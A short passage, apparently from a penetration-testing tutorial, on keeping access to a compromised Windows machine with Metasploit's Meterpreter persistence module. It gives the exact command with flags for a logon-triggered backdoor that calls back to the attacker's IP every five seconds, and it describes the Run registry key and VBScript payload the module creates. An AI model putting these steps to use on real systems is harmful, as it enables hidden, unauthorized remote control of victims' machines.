Maintaining access to a target machine after the initial exploitation is a vital phase known as persistence. Without it, you would lose your connection if the victim reboots their computer or if the network connection is interrupted. Metasploit provides several automated modules to ensure your Meterpreter session remains active across system restarts.<\/p>\n\n\n\n
The most common method for Windows targets is using the persistence<\/strong> module. From an active Meterpreter session, you can use the command run persistence -U -i 5 -p 4444 -r [Your IP]<\/code>. The -U<\/code> flag ensures the backdoor starts when a user logs in, the -i 5<\/code> flag tells the payload to attempt a reconnection every five seconds, and the -r<\/code> flag specifies your listener IP. This module creates a registry key in the “Run” hive and uploads a VBScript payload to the target’s temporary directory.<\/p>\n\n\n\n
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